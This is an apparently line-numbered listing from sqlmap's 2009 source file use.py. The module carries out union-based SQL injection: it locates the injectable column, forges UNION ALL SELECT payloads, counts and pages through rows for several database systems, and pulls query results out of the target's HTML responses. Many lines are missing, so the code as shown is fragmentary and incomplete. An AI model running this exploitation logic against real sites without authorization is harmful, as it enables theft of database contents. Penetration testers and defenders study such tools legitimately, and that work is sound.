4
$Id: use.py 327 2009-01-12 21:35:38Z inquisb $
6
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
8
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
9
and Daniele Bellucci <daniele.bellucci@gmail.com>
11
sqlmap is free software; you can redistribute it and/or modify it under
12
the terms of the GNU General Public License as published by the Free
13
Software Foundation version 2 of the License.
15
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
16
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
17
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
20
You should have received a copy of the GNU General Public License along
21
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
22
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
30
from lib.core.agent import agent
31
from lib.core.common import parseUnionPage
32
from lib.core.common import randomStr
33
from lib.core.common import readInput
34
from lib.core.data import conf
35
from lib.core.data import kb
36
from lib.core.data import logger
37
from lib.core.data import queries
38
from lib.core.data import temp
39
from lib.core.exception import sqlmapUnsupportedDBMSException
40
from lib.core.session import setUnion
41
from lib.core.unescaper import unescaper
42
from lib.parse.html import htmlParser
43
from lib.request.connect import Connect as Request
44
from lib.techniques.inband.union.test import unionTest
45
from lib.utils.resume import resume
51
def __unionPosition(expression, negative=False):
59
infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
60
infoMsg += "'%s'" % kb.injParameter
63
# For each column of the table (# of NULL) perform a request using
64
# the UNION ALL SELECT statement to test it the target url is
65
# affected by an exploitable inband SQL injection vulnerability
66
for exprPosition in range(0, kb.unionCount):
67
# Prepare expression with delimiters
68
randQuery = randomStr()
69
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
70
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
72
if len(randQueryUnescaped) > len(expression):
73
blankCount = len(randQueryUnescaped) - len(expression)
74
expression = (" " * blankCount) + expression
75
elif len(randQueryUnescaped) < len(expression):
76
blankCount = len(expression) - len(randQueryUnescaped)
77
randQueryUnescaped = (" " * blankCount) + randQueryUnescaped
79
# Forge the inband SQL injection request
80
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
81
payload = agent.payload(newValue=query, negative=negative)
84
resultPage, _ = Request.queryPage(payload, content=True)
87
# We have to assure that the randQuery value is not within the
88
# HTML code of the result page because, for instance, it is there
89
# when the query is wrong and the back-end DBMS is Microsoft SQL
91
htmlParsed = htmlParser(resultPage)
93
if randQuery in resultPage and not htmlParsed:
94
setUnion(position=exprPosition)
98
if isinstance(kb.unionPosition, int):
99
infoMsg = "the target url is affected by an exploitable "
100
infoMsg += "%s inband sql injection vulnerability" % negLogMsg
103
warnMsg = "the target url is not affected by an exploitable "
104
warnMsg += "%s inband sql injection vulnerability" % negLogMsg
106
if negLogMsg == "partial":
107
warnMsg += ", sqlmap will retrieve the query output "
108
warnMsg += "through blind sql injection technique"
113
def unionUse(expression, direct=False, unescape=True, resetCounter=False):
115
This function tests for an inband SQL injection on the target
116
url then call its subsidiary function to effectively perform an
117
inband SQL injection on the affected url
121
origExpr = expression
130
if resetCounter == True:
133
if not kb.unionCount:
136
if not kb.unionCount:
139
# Prepare expression with delimiters
141
expression = agent.concatQuery(expression)
142
expression = unescaper.unescape(expression)
144
# Confirm the inband SQL injection and get the exact column
146
if not isinstance(kb.unionPosition, int):
147
__unionPosition(expression)
149
# Assure that the above function found the exploitable full inband
150
# SQL injection position
151
if not isinstance(kb.unionPosition, int):
152
__unionPosition(expression, True)
154
# Assure that the above function found the exploitable partial
155
# inband SQL injection position
156
if not isinstance(kb.unionPosition, int):
159
conf.paramNegative = True
161
if conf.paramNegative == True and direct == False:
162
_, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
164
if len(expressionFieldsList) > 1:
165
infoMsg = "the SQL query provided has more than a field. "
166
infoMsg += "sqlmap will now unpack it into distinct queries "
167
infoMsg += "to be able to retrieve the output even if we "
168
infoMsg += "are in front of a partial inband sql injection"
171
# We have to check if the SQL query might return multiple entries
172
# and in such case forge the SQL limiting the query output one
174
# NOTE: I assume that only queries that get data from a table can
175
# return multiple entries
176
if " FROM " in expression:
177
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
180
if kb.dbms in ( "MySQL", "PostgreSQL" ):
181
limitGroupStart = queries[kb.dbms].limitgroupstart
182
limitGroupStop = queries[kb.dbms].limitgroupstop
184
if limitGroupStart.isdigit():
185
startLimit = int(limitRegExp.group(int(limitGroupStart)))
187
stopLimit = limitRegExp.group(int(limitGroupStop))
188
limitCond = int(stopLimit) > 1
190
elif kb.dbms == "Microsoft SQL Server":
191
limitGroupStart = queries[kb.dbms].limitgroupstart
192
limitGroupStop = queries[kb.dbms].limitgroupstop
194
if limitGroupStart.isdigit():
195
startLimit = int(limitRegExp.group(int(limitGroupStart)))
197
stopLimit = limitRegExp.group(int(limitGroupStop))
198
limitCond = int(stopLimit) > 1
200
elif kb.dbms == "Oracle":
205
# I assume that only queries NOT containing a "LIMIT #, 1"
206
# (or similar depending on the back-end DBMS) can return
210
stopLimit = int(stopLimit)
212
# From now on we need only the expression until the " LIMIT "
213
# (or similar, depending on the back-end DBMS) word
214
if kb.dbms in ( "MySQL", "PostgreSQL" ):
215
stopLimit += startLimit
216
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
217
expression = expression[:untilLimitChar]
219
elif kb.dbms == "Microsoft SQL Server":
220
stopLimit += startLimit
222
if not stopLimit or stopLimit <= 1:
223
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
229
# Count the number of SQL query entries output
230
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
231
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
233
if re.search(" ORDER BY ", expression, re.I):
234
untilOrderChar = countedExpression.index(" ORDER BY ")
235
countedExpression = countedExpression[:untilOrderChar]
237
count = resume(countedExpression, None)
240
if not count or not count.isdigit():
241
output = unionUse(countedExpression, direct=True)
244
count = parseUnionPage(output, countedExpression)
246
if count and count.isdigit() and int(count) > 0:
247
stopLimit = int(count)
249
infoMsg = "the SQL query provided returns "
250
infoMsg += "%d entries" % stopLimit
253
elif count and not count.isdigit():
254
warnMsg = "it was not possible to count the number "
255
warnMsg += "of entries for the SQL query provided. "
256
warnMsg += "sqlmap will assume that it returns only "
257
warnMsg += "one entry"
262
elif ( not count or int(count) == 0 ):
263
warnMsg = "the SQL query provided does not "
264
warnMsg += "return any output"
269
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
270
warnMsg = "the SQL query provided does not "
271
warnMsg += "return any output"
276
for num in xrange(startLimit, stopLimit):
277
if kb.dbms == "Microsoft SQL Server":
278
orderBy = re.search(" ORDER BY ([\w\_]+)", expression, re.I)
281
field = orderBy.group(1)
283
field = expressionFieldsList[0]
285
elif kb.dbms == "Oracle":
286
field = expressionFieldsList
291
limitedExpr = agent.limitQuery(num, expression, field)
292
output = unionUse(limitedExpr, direct=True, unescape=False)
299
value = unionUse(expression, direct=True, unescape=False)
302
# Forge the inband SQL injection request
303
query = agent.forgeInbandQuery(expression)
304
payload = agent.payload(newValue=query)
306
infoMsg = "query: %s" % query
309
# Perform the request
310
resultPage, _ = Request.queryPage(payload, content=True)
313
if temp.start not in resultPage or temp.stop not in resultPage:
316
# Parse the returned page to get the exact inband
317
# sql injection output
318
startPosition = resultPage.index(temp.start)
319
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
320
value = str(resultPage[startPosition:endPosition])
322
duration = int(time.time() - start)
324
infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)